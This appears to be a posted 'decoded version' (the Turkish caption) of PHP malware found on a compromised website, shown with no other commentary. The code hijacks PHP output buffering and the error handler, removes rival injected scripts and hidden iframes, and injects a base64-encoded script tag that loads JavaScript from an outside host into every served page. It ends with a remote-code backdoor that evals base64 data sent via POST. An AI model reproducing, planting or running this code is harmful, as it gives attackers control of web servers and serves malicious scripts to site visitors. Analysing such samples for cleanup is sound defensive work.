Çözülmüş hali
if(!isset($qr0z1)){function qr0z($s){if(preg_match_all('#<script(.*?)</script>#is',$s,$a))foreach($a[0] as $v)if(count(explode("\n",$v))>5){$e=preg_match('#[\'"][^\s\'"\.,;\?!\[\]:/<>\(\)]{30,}#',$v)||preg_match('#[\(\[](\s*\d+,){20,}#',$v);if((preg_match('#\beval\b#',$v)&&($e||strpos($v,'fromCharCode')))||($e&&strpos($v,'document.write')))$s=str_replace($v,'',$s);}if(preg_match_all('#<iframe ([^>]*?)src=[\'"]?(http:)?//([^>]*?)>#is',$s,$a))foreach($a[0] as $v)if(preg_match('# width\s*=\s*[\'"]?0*[01][\'"> ]|display\s*:\s*none#i',$v)&&!strstr($v,'?'.'>'))$s=preg_replace('#'.preg_quote($v,'#').'.*?</iframe>#is','',$s);$s=str_replace($a=base64_decode('PHNjcmlwdCBzcmM9aHR0cDovL3RoYWxhc3NhcHJvbW90aW9uLmV1L3NjcmlwdHMvcGFnZWVhcl9zLnBocCA+PC9zY3JpcHQ+'),'',$s);if(stristr($s,'<body'))$s=preg_replace('#(\s*<body)#mi',$a.'\1',$s);elseif(strpos($s,',a'))$s.=$a;return $s;}function qr0z2($a,$b,$c,$d){global $qr0z1;$s=array();if(function_exists($qr0z1))call_user_func($qr0z1,$a,$b,$c,$d);foreach(@ob_get_status(1) as $v)if(($a=$v['name'])=='qr0z')return;elseif($a=='ob_gzhandler')break;else $s[]=array($a=='default output handler'?false:$a);for($i=count($s)-1;$i>=0;$i--){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start('qr0z');for($i=0;$i<count($s);$i++){ob_start($s[$i][0]);echo $s[$i][1];}}}$qr0zl=(($a=@set_error_handler('qr0z2'))!='qr0z2')?$a:0;eval(base64_decode($_POST['e']));